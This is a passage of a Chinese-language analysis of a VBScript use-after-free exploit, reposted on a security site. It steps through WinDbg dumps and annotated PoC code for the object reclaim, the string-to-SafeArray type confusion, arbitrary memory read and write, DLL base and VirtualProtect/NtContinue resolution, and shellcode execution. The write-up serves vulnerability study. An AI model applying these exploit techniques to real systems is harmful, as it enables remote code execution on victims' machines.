0031b348  00000009 00000000 01d82388 00000000 //01d82388是类对象地址

0031b358  6dd40009 01d8238c 01d82388 6dd44211

0031b368  6dd40009 01d8238c 01d82388 6dd44211

0031b378  6dd40009 01d8238c 01d82388 6dd44211

0031b388  6dd40009 01d8238c 01d82388 6dd44211

0031b398  6dd40009 01d8238c 01d82388 6dd44211

0031b3a8  6dd40009 01d8238c 01d82388 6dd44211

0031b3b8  1f7bbbb5 88000000 00000000 00000000

0:005> dd 1d82388

01d82388  6dd400c6 00000000 00000000 00000000 //引用计数为0

01d82398  000001a8 00000000 00000000 01d5b7ac

01d823a8  00000001 002ba02c 00000000 00000000

01d823b8  1f487ea5 80000000 000000cd 00000000

01d823c8  00000000 00000000 00000000 00000000

01d823d8  00000000 00000000 00000000 00000000

01d823e8  00000000 00000000 1f487eac 80000000

01d823f8  000000d4 00000000 00000000 00000000

0:005> du 2ba02c

002ba02c  "Trigger"

再运行到第二次IsEmpty断点，此时cla4_obj1占位已经完成：

0:005> g

Breakpoint 0 hit

eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001

eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd 1d82388

01d82388  6dd41748 00000002 01d593f0 0049ff68 //引用计数变成2

01d82398  000001a8 00000000 00000000 00000000

01d823a8  00000000 002ba02c 00000000 01d82350

01d823b8  1f487ea5 80000000 000000cd 00000000

01d823c8  00000000 00000000 00000000 00000000

01d823d8  00000000 00000000 00000000 00000000

01d823e8  00000000 00000000 1f487eac 80000000

01d823f8  000000d4 00000000 00000000 00000000

0:005> du 2ba02c

002ba02c  "cla4" //同样的地址cla4_obj1已经占位


第三次IsEmpty断点，参数为array_c:

0:005> g

Breakpoint 0 hit

eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001

eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0049ec10  0000600c 00000000 01d81228 002e1e00 //002e1e00是array_c的data buffer

0049ec20  02570002 0049df00 00490013 0257cea8

0049ec30  02570002 0049df00 00490001 0257cea8

0049ec40  6dd40002 0257cee4 02570027 0049df00

0049ec50  6dd40002 0257cee4 02570001 0049df00

0049ec60  6dd40002 0257cee4 02570006 0049df00

0049ec70  6dd40002 0257cee4 02570001 0049df00

0049ec80  6dd40002 0257cee4 02570006 0049df00

0:005> dd 2e1e00 //0031b3c0是array_c数据元素地址

002e1e00  08920001 00000010 00000000 0031b3c0

002e1e10  00000007 00000000 1f784f01 88000400

002e1e20  682fbdc8 00000000 67f95d74 002c66b8

002e1e30  67f95b60 00000000 00000000 00000000

002e1e40  03000004 00000000 1f784f0b 8c006f00

002e1e50  67f73928 00000001 00000008 00000000

002e1e60  00000000 002c1b30 00326c70 00000000

002e1e70  00000000 67f8e200 1f784f0d 88006000

0:005> dd 31b3c0 

0031b3c0  6dd40009 01d8238c 01d823c0 6dd44211 //01d823c0是类对象地址

0031b3d0  6dd40009 01d823c4 01d823c0 6dd44211

0031b3e0  6dd40009 01d823c4 01d823c0 6dd44211

0031b3f0  6dd40009 01d823c4 01d823c0 6dd44211

0031b400  6dd40009 01d823c4 01d823c0 6dd44211

0031b410  6dd40009 01d823c4 01d823c0 6dd44211

0031b420  6dd40009 01d823c4 01d823c0 6dd44211

0031b430  1f7bbb44 80000000 00000098 00690066

0:005> dd 1d823c0

01d823c0  6dd400cd 00000000 00000000 00000000

01d823d0  000001a8 00000000 00000000 01d5b9dc

01d823e0  00000001 00321784 00000000 00000000

01d823f0  1f487eac 80000000 000000d4 00000000

01d82400  00000000 00000000 00000000 00000000

01d82410  00000000 00000000 00000000 00000000

01d82420  00000000 00000000 1f487e57 80000000

01d82430  000000db 00000000 00000000 00000000

0:005> du 321784

00321784  "cla2"

第四次IsEmpty断点，此时MyClass2_obj2占位已经完成：

此时仍然查看1d82388：


0:005> g

Breakpoint 0 hit

eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001

eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd 1d823c0

01d823c0  6dd41748 00000002 01d59510 0049ff68 //引用计数为2

01d823d0  000001a8 00000000 00000000 00000000

01d823e0  00000000 00321784 00000000 01d82388

01d823f0  1f487eac 80000000 000000d4 00000000

01d82400  00000000 00000000 00000000 00000000

01d82410  00000000 00000000 00000000 00000000

01d82420  00000000 00000000 1f487e57 80000000

01d82430  000000db 00000000 00000000 00000000

0:005> du 321784

00321784  "cla4" //同样的地址cla4_obj2已经占位

以上就是PoC中的UAF函数所做的事情，接下来来看InitObjects函数。

同样还是再代码里加上了IsEmpty便于调试：

Sub InitObjects

  'Alert "InitObjects"

  IsEmpty(cla4_obj1)

  cla4_obj1.SetProp(cla6_obj1)        '会调用class6的Get P,完成了string--->array的类型转换

  IsEmpty(cla4_obj1)

  IsEmpty(cla4_obj2)

  cla4_obj2.SetProp(cla7_obj1)        '会调用class7的Get P,完成了string--->long的类型转换

  IsEmpty(cla4_obj2)

'Alert "InitObjects2"

  spec_int_1=cla4_obj2.mem    '这句将上面指向0000的那个字符串的指针泄露给了spec_int_1

 IsEmpty(spec_int_1)

End Sub

在执行前我们先来回顾一下cla4_obj1的地址：

0:005> dd 1d82388
01d82388  6dd41748 00000002 01d593f0 0049ff68 //cla4_obj1.mem的地址
01d82398  000001a8 00000000 00000000 00000000
01d823a8  00000000 002ba02c 00000000 01d82350
01d823b8  1f487ea5 80000000 000000cd 00000000
01d823c8  00000000 00000000 00000000 00000000
01d823d8  00000000 00000000 00000000 00000000
01d823e8  00000000 00000000 1f487eac 80000000
01d823f8  000000d4 00000000 00000000 00000000

0:005> du 2ba02c

002ba02c “cla4” //同样的地址cla4_obj1已经占位

在执行到cla4_obj1.SetProp(cla6_obj1)这里的时候，会去调用cla4的SetProp函数：

Class cla4

  Dim mem

  Function P

  End Function

  Function SetProp(Value)

    IsEmpty("enter cla4:SetPro")

    mem=0

    mem=Value  '这一步会调用cla6的Get P

    SetProp=0

  End Function

End Class

在Get P中实现了又一次的占位与一次类型的替换：

Class cla6

  Public Default Property Get P                'Property Get 语句 用来取得（返回）的值     

    IsEmpty("cal6:call Get P")

    Dim cla5_obj1

        'CDbl是转换成双精度浮点数据类型

        'dd 00000005 00000000 00000000 0000200C

    P=CDbl("174088534690791e-324")            '对cla4_mem赋值，把string改为array类型



    For i=0 To 6            'array_b原本保存了Trigger的引用，而Trigger被释放后是由

      array_b(i)=0        'cla4_obj1占位的。array_b赋值为0，也就是将cla4_obj1的内存释放了

    Next

    IsEmpty("finish set array_b to 0")



    Set cla5_obj1=New cla5        '再次使用悬垂指针重新用cla5_obj1占位，

    cla5_obj1.mem=str_1            '并对cla5.mem赋值伪造的字符串 7fffffff的safearray，



    IsEmpty(cla5_obj1)

    For i=0 To 6

      Set array_b(i)=cla5_obj1

    Next

  End Property

End Class

重新调试了一遍，现在cla4_obj1地址为25010b8，cla4_obj2地址为25010f0。

现在进入cla6 Get P中的第一个IsEmpty：

vbscript!VbsIsEmpty:

6f39c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0015eed8  00000008 00000000 024f54a0 00000000

0015eee8  00000000 00000000 00000000 00000000

0015eef8  00000000 00000000 00000000 00000000

0015ef08  00000000 00000000 00000000 00000000

0015ef18  00000000 00000000 00000000 00000000

0015ef28  00000000 00000000 00000000 00000000

0015ef38  6f380000 025010f4 0015fdf8 6f384211

0015ef48  024cc260 0015ef68 025010f0 6f384211

0:005> du 024f54a0

024f54a0  "cal6:call Get P"

再进入第二个IsEmpty：

vbscript!VbsIsEmpty:

6f39c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0015eed8  024c0008 024cbf68 024f54fc 0000200c

0015eee8  024c0002 0015cfd8 02500006 024cbf94

0015eef8  024c0002 0015cfd8 02500001 024cbf94

0015ef08  00000000 00000000 00000000 00000000

0015ef18  00000000 00000000 00000000 00000000

0015ef28  00000000 00000000 00000000 00000000

0015ef38  024c0005 024cbf68 00000000 0000200c

0015ef48  024cc260 0015ef68 025010f0 6f384211

0:005> du 024f54fc

024f54fc  "finish set array_b to 0"

现在再来看一下cla4_obj1的占位：

0:005> dd 25010b8

025010b8  6f3800d4 00000000 00000000 00000000

025010c8  00000490 00000000 00000000 00000000

025010d8  00000000 005b34dc 00000000 00000000

025010e8  67b123d5 88000000 6f381748 00000001

025010f8  024d8510 0015e698 00000490 00000000

02501108  00000000 00000000 00000000 005a55b4

02501118  00000000 02501080 67b123ec 8c000000

02501128  6f38ce78 6f393100 6f3930f0 00000002

可以看到原来占位的cla4_obj1内存被释放掉了。

0:005> !heap -p -a 25010b8

  address 025010b8 found in

  _HEAP @ 150000

   HEAP_ENTRY Size Prev Flags   UserPtr UserSize - state

    025010b0 0007 0000  [00]  025010b8   00030 - (free)

可以看到处于释放状态。

第三次断点，此时再次进行占位，使用的是cla5_obj1：

//源码

Set cla5_obj1=New cla5  '再次使用悬垂指针重新用cla5_obj1占位，

    cla5_obj1.mem=str_1  

 IsEmpty(cla5_obj1)

‘这个str1是一个全局变量，

‘str_1=Unescape(“%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000”)

调试可以发现前面被free的地址又被占位了：

0:005> dd 25010b8

025010b8  6f381748 00000002 024d83f0 0015e698//24d83f0是cla5.mem的地址

025010c8  00000490 00000000 00000000 00000000

025010d8  00000000 005b34dc 00000000 025010f0

025010e8  67b123d5 88000000 6f381748 00000001

025010f8  024d8510 0015e698 00000490 00000000

02501108  00000000 00000000 00000000 005a55b4

02501118  025010b8 02501080 67b123ec 8c000000

02501128  6f38ce78 6f393100 6f3930f0 00000002

0:005> du 5b34dc

005b34dc  "cla5"

我们再来看一下cla5.mem：

0:005> dd 024d83f0

024d83f0  024da7a8 000000b8 00000100 00000100

024d8400  00004000 024da7ac 024da84c 02502c70

024d8410  0000000f 00000003 00000040 00000003

024d8420  00000014 024d8428 024da7ac 024da7f4

024d8430  024da82c 00750025 00300030 00300030

024d8440  00750025 00300030 00300030 00750025

024d8450  00300030 00300030 00000000 024d8784

024d8460  00010044 70e47cd6 00000000 00000000

0:005> dd 024da82c 

024da82c  024d0008 024d87dc 005b34b4 00000000//0x08是类型，代表的vbstring,后面会把这个类型改为safearray即0x200c

024da83c  00000000 00000000 0000822f 00000006

024da84c  00000000 00000000 00000003 000005f8

024da85c  0065006d 0000006d 024da838 00000012

024da86c  00000000 000005d0 000005f8 00000000

024da87c  024da7b4 024da84c 0000002b 00000000

024da88c  000005cb 0000060b 00000000 024da718

024da89c  024da914 00000002 00000000 000005fa

//看伪造的这个类似于数组的字符串，它的元素有7fffffff个,每个元素占一字节，元素内存地址为0，那它能访问的内存空间是0-0x7fffffff

//如果现在类型变为safearray，就能够实现全址读写

//str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

0:005> dd 005b34b4

005b34b4  08800001 00000001 00000000 00000000

005b34c4  7fffffff 00000000 6f380000 67e6a972

005b34d4  88000000 00000008 006c0063 00350061

005b34e4  00650000 00000072 00000000 00000000

005b34f4  00000000 67e6a977 8c000000 00000001

005b3504  00000000 00000000 7fffffff 7fffffff

005b3514  80000001 80000001 00000000 67e6a94c

005b3524  88000000 00000000 00000000 0075006f

在Get P 执行完成后，P作为返回值返回给cla4.mem成员变量中，我们再来看一下P：

//源码中;

P=174088534690791e-324 //优化后这样的：

P=CDbl(“174088534690791e-324”) //CDbl是vbs中把表达式转化为双精度类型的一个函数

174088534690791 e-324 是174088534690791的-324平方

用c语言计算为:printf(“%I64x\n”,174088534690791e-324);

为，200c00000000,

由它是vbDouble类型，前面会有一个0x05的标志，

最终在内存中P的值为：00000005 00000000 00000000 0000200C

这样就把0x08改为了0x200c。

调试看一下：

vbscript!VbsIsEmpty:

6f39c206 8bff       mov   edi,edi

0:005> dd 024da82c

024da82c  0000200c 024d87dc 005b34b4 00000000

024da83c  00000000 00000000 0000822f 00000006

024da84c  00000000 00000000 00000003 000005f8

024da85c  0065006d 0000006d 024da838 00000012

024da86c  00000000 000005d0 000005f8 00000000

024da87c  024da7b4 024da84c 0000002b 00000000

024da88c  000005cb 0000060b 00000000 024da718

024da89c  024da914 00000002 00000000 000005fa

0:005> dd 024da82c-c

024da820  024c0005 024cbf68 00000000 0000200c

024da830  024d87dc 005b34b4 00000000 00000000

024da840  00000000 0000822f 00000006 00000000

024da850  00000000 00000003 000005f8 0065006d

024da860  0000006d 024da838 00000012 00000000

024da870  000005d0 000005f8 00000000 024da7b4

024da880  024da84c 0000002b 00000000 000005cb

024da890  0000060b 00000000 024da718 024da914

//为什么是从mem地址-c开始的，，这个-c的位置，是原来没有被释放的时候的cla4_obj1.mem的地址，//就是P修改的是释放前的mem的地址，释放前与占位后的mem相差0x0C字节，//00000005 00000000 00000000 0000200C这个数，刚好从0c的位置写入了0x200c

最终实现了 vbstring—>safearray的类型转换，cla5.mem最终拿到任意地址读写权限，在InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法，这里就不一一调试了。最后还有泄露字符串指针的关键代码：

//源码

Alert “InitObjects2”

spec_int_1=cla4_obj2.mem ‘这句将上面指向0000的那个字符串的指针泄露给了spec_int_1

IsEmpty(spec_int_1)

其实在上面就已经利用vbscript的漏洞实现了全地址读写，下面就是利用上面产生的对象实行PoC地址的泄露以及shellcode的构造和执行。

先来对PoC中的地址进行泄露：

//此函数泄露 CScriptEntryPoint 对象的虚函数表地址，该地址属于Vbscript.dll。

Function LeakVBAddr

  On Error Resume Next    '忽略错误，执行下一条代码

  Dim emptySub_addr_placeholder   '构造一个类型为null 的 CScriptEntryPoint 对象

  emptySub_addr_placeholder=EmptySub

  emptySub_addr_placeholder=null

  IsEmpty(emptySub_addr_placeholder)  '此断点可以查看此 CScriptEntryPointObject 地址

  SetMemValue emptySub_addr_placeholder  '这种传参数不用括号也是可以的

  LeakVBAddr=GetMemValue()

End Function

这个时候也可以在LeakVBAddr函数中IsEmpty的断点查看emptySub_addr_placeholder：

0:005> dd poi(esp+c)
0055fe58  00000001 000007ff 0055e030 cf0000cf  //这个对象地址下一步会保存在指向空字符串+8的地方
0055fe68  00000001 000007ff 0055e030 cf0000cf
0055fe78  00000000 00000000 02021598 00000000
0055fe88  024bd3d8 0055fea8 020217a0 00000000

0:005> ln poi(0055e030)              //发现它是一个CScriptEntryPoint对象，
(6a5b4934)  vbscript!CScriptEntryPoint::`vftable'  |  (6a5cab54)  vbscript!CEntryPointDispatch::`vftable'
Exact matches:
  vbscript!CScriptEntryPoint::`vftable` = <no type information>

我们再来看一下代码是如何产生一个CScriptEntryPoint对象的：

On  Error Resume  Next              //首先它定义了忽略错误

Dim emptySub_addr_placeholder               //定义一个变量

emptySub_addr_placeholder =EmptySub       //将函数指针赋值给一个变量，VBS语法是不允许这样的，但是其上面忽略了错误，最终这个函数指针的值仍然被赋值给了变量

emptySub_addr_placeholder=null         //然后将该值的类型设置为null，最终，变量里面仍然保存着一个函数指针，但是类型为null

进入SetMemValue函数，要记住上面在InitObjects函数的最后spec_int_1中保存的就是那个0字符串的地址：

//源码

Sub SetMemValue(ByRef Ili)

  cla4_obj1.mem(spec_int_1+8)=Ili  '将CScriptEntryPoint对象放到spec_int_1+8的位置

IsEmpty("SetMemValue Finish")   

End Sub

对于这样的修改是因为cla4_obj1.mem已经是一个可以全地址读写的array了，这里一样通过IsEmpty进行下断：

//调试

Breakpoint 3 hit

eax=6a5b185c ebx=024bcea0 ecx=6a60a9d8 edx=024bce18 esi=02016a68 edi=00000001

eip=6a5cc206 esp=024bcd34 ebp=024bcd44 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023 ds=0023 es=0023 fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:6a5cc206 8bff       mov   edi,edi

//这个地址就是上面的指向空字符的地址：

0:005> dd 003f9dd4003f9dd4  00000000 00000000 00000001 000007ff  //从+8的位置保存的便是CScriptEntryPoint对象,这个0x01是vbNull(可查询上方表格)

003f9de4  0055e030 cf0000cf 003f93a4 4b92935b

003f9df4  8c000000 00000001 00000000 00000000

003f9e04  7fffffff 7fffffff 80000001 80000001

003f9e14  00000000 4b929326 88000000 00000000

003f9e24  006e0000 00740069 0062004f 0065006a

003f9e34  00740063 00000073 003f9e4c 4b92932d

003f9e44  88000000 00000018 006e0049 00740069

之后就是进入GetMemValue函数：

//源码Function GetMemValue

  cla4_obj1.mem(spec_int_1)= 3  '将CScriptEntryPoint对象 的类型改为3 即为Long

  IsEmpty("GetMemValue Finish")

  GetMemValue=cla4_obj1.mem(spec_int_1+ 8)End Function

整个过程的效果就是在GetMemValue=cla4_obj1.mem(spec_int_1+ 8)这一步把0055e030的值给了GetMemValue，GetMemValue赋值给了LeakVBAddr ，以上整个LeakVBAddr函数过程得到了vbLong型的CScriptEntryPoint对象地址。

接下来的一些过程其实也是一些关键地址的获取，这里重点通过原始POC分析代码的运行逻辑，先来讲一下PoC中的GetUint32函数：

//函数参数为对象地址，然后该函数返回的是这个对象的虚函数表地址

Function GetUint32(addr)   

  Dim value

 IsEmpty("enter GetUint32")

  cla4_obj1.mem(spec_int_1+8)=addr+4  '原本存放CScriptEntryPoint对象的位置 存放 该对象地址+4

 IsEmpty("spec_int_1+8")

  cla4_obj1.mem(spec_int_1)=8     '改为字符串 type string

 IsEmpty("type string")

  value=cla4_obj1.P0123456789

 IsEmpty(value)

  cla4_obj1.mem(spec_int_1)=2  '改为 整型 type vbInteger

 IsEmpty("type vbInteger")

GetUint32=value   

End Function

从之前我们已经分析过了Class cla5，那么我们就可以知道value=cla4_obj1.P0123456789这一步最终返回的是CScriptEntryPoint类对象的虚函数表地址。整个函数就是为了得到VBScript.dll中的CScriptEntryPoint对象虚函数表。

再来看获取VBScript.dll基地址的函数：

Function FindMzBase(vtable_address)



  Dim base

  base=vtable_address And &hffff0000  '64k对齐，得到vbscript.dll 基地址

 Alert "FindMzBase "

 IsEmpty(base)



  Do While GetUint32(base+&h68)<>&h206E6920 Or GetUint32(base+&h6c)<>&h20534F44

    base=base-&h10000   

  Loop

 IsEmpty(base)

FindMzBase=base

End Function

最后就是获取其余的dll以及函数地址：

VBScript.dll导入了msvcrt.dll，msvcrt.dll又导入了kernelbase.dll与ntdll.dll，遍历它们的导入表最终可以从kernelbase.dll中获取到VirtualProtect函数地址，从ntdll.dll中获取NtContinue函数地址，具体的来看一下POC：

'首先得到VBScript地址，其传入的是CScriptEntryPoint虚函数表对象地址

  vbs_base=FindMzBase(GetUint32(vb_adrr))

  Alert "VBScript Base: 0x" & Hex(vbs_base) 



  '遍历VBScript.dll导入表找到msvcrt.dll基地址

  msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")

  Alert "MSVCRT Base: 0x" & Hex(msv_base) 



   '遍历msvcrt.dll导入表找到kernelbase.dll基地址

  krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")

  Alert "KernelBase Base: 0x" & Hex(krb_base) 



   '遍历msvcrt.dll导入表找到ntdll.dll基地址

  ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")

  Alert "Ntdll Base: 0x" & Hex(ntd_base) 



   '从kernelbase.dll找到VirtualProtect函数地址

  VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")

  Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr) 



   '从ntdll.dll找到 NtContinue 函数地址

  NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")

  Alert "Ntdll!NtContinue Address 0x" & Hex(NtContinueAddr)

最后就通过以下代码返回Shellcode地址：

//PoC源码

SetMemValue GetShellcode()

ShellcodeAddr=GetMemValue()+8

IsEmpty(ShellcodeAddr)

最后进行一个总结的话就是从取得全地址读写权限以后，进行的构造是从 VAR::Clear 中调用了 ntdll!ntContinue，而且又仿造好了一个了 CONTEXT结构体，这样利用 ntdll!ntContinue还原了一个假的进程。且 eip 就是 VirtualProtect,而栈空间esp是前面准备好的，返回值为shellcode入口，VirtualProtect的执行参数也是shellcode区域，最后VirtualProtect函数执行完，直接返回到shellcode的开始处开始执行。

 

五、 实验结果

这次实验最终的结果首先就是对于漏洞产生进行的一个验证，然后就是通过POC进行一个计算器的弹出：

 

六、 问题与感悟

在调试、复现漏洞的过程中遇到的第一个问题就是windbg的配置问题，其中主要是由于symbol无法正常匹配所产生的问题，而无法正常读取符号表的问题也就是symbol相对应的网络链接被墙了，导致无法访问，最后的解决方法也就是通过下载离线的符号表进行本地调用。之后存在的第二个问题的话就是在我们之前调试POC实现全地址读写中有一个关键点就是在最后使用myclass1占位空间时，vbs引擎并未清理掉之前myclass２的成员变量mem，而该变量地址刚好与myclass1.mem相差0xC，以至于后续可以实现类型混淆构造出任意地址访问的数组结构。之后通过调试可以理解到类结构解析过程中各成员的初始化顺序以及VBS中特有的默认属性构造函数default property get function的执行逻辑。这个时候再回过头来看一下之前提到过的一个数据结构：

按照上述结构可以根据类对象0x30的结构解析出对象中各成员（成员函数和成员变量）的具体位置。动态验证过程中不难发现在实际成员初始化的过程中，各成员会以VARIANT的形式按照既定的初始化顺序存储在一段连续的内存空间中。这里我们就可以知道类成员的内存分配，根据所有成员按需且遵循前面提到的初始化顺序申请一块连续的内存空间，各成员VVAL1，VVAL2，VVAL3…均以一个0x10的VARIANT结构呈现，相邻成员变量之间偏移等于一个固定的内存空间0x32+前一个成员名称（UNICODE字符串）的长度。

最后的话就来一个综合的理解：

1、初始占位内存的地址为0x0235f4bc、即类对象第一个初始化的成员变量的VARIANT结构地址。
2、用myclass2占位时，myclass2.mem的VARIANT地址= 0x0235f4bc + 0x32 +len(“p”) +0x32 + len(“setprop”) = 0x0235f530。
其VARIANT结构：00000008 00000000 002aa5e4 00000000。

3、用myclass1占位前，myclass1.mem的VARIANT地址= 0x0235f4bc + 0x32 +len(“p0123456789”) +0x32 + len(“p01”) = 0x0235f53c。
其VARIANT结构：00000008 00000000 002aa5e4 00000000。

4、调用myclass2.setprop(myconf)，myconf类的default property get p将浮点数174088534690791e-324（内存结构为：00000005 000005dd 00000000 0000200c）赋给myclass2.mem。由于myclass1.mem与myclass2.mem的VARIANT结构偏移0xc，将会覆盖上一步中的“0008”为“200c”，如下图所示。

通过逆向分析、调试以及复现这个cve，我感觉自己又丰富了一些新的知识，之前很多知识都是一知半解，不是很能理解写相应脚本的思路是什么，这次实实在在的通过静态分析和动态分析相结合的方式，可以说是比较完整地理解了这个cve以及相关的利用代码了，收获颇大。

weinxin
版权声明
本站原创文章转载请注明文章出处及链接，谢谢合作！
ZONE.CI 全球网 | 安全领域涉猎者-乌云独行地带
ZONE.CI 全球网
ZONE.CI 全球网
安全领域涉猎者-乌云独行地带
ZONE.CI 全球网 | 安全领域涉猎者-乌云独行地带
ZONE.CI 全球网
安全领域涉猎者-乌云独行地带
ZONE.CI 全球网
评论：0   参与：  0